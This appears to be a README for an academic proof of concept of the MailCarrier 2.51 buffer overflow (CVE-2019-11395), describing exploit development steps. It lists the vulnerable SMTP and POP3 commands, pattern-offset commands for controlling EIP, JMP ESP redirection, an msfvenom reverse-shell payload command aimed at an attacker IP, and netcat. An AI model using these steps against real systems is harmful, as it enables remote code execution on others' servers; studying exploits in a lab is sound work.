
Proof of concept with the academic purpose to understand the Buffer Overflow vulnerability using as background the CVE-2019-11395
This Proof of Concept (PoC) demonstrates a Buffer Overflow vulnerability in MailCarrier 2.51, allowing remote attackers to execute arbitrary code via a long string. The vulnerability can be exploited using the following processes:
SMTP RCPT TOPOP3 USERPOP3 LISTPOP3 TOPPOP3 RETRThe project aims to provide an academic approach to understanding how Buffer Overflow works.
Before running any tests, never use your production environment for initial experimentation. Instead, create a lab setup similar to your production environment to avoid any issues or unintended consequences.
msf-pattern_create -l <number_of_bytes>
This helps determine the Offset, which is the exact number of bytes needed to overwrite the EIP.
msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
This identifies the exact byte count required to control the EIP.
JMP ESP
CALL ESP
We will use this address to redirect execution. Be cautious with ASLR, SafeSEH, or other protection mechanisms.
msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
NOP (\x90) instructions into the payload to improve stability.netcat (nc) to create a reverse shell and connect to the target.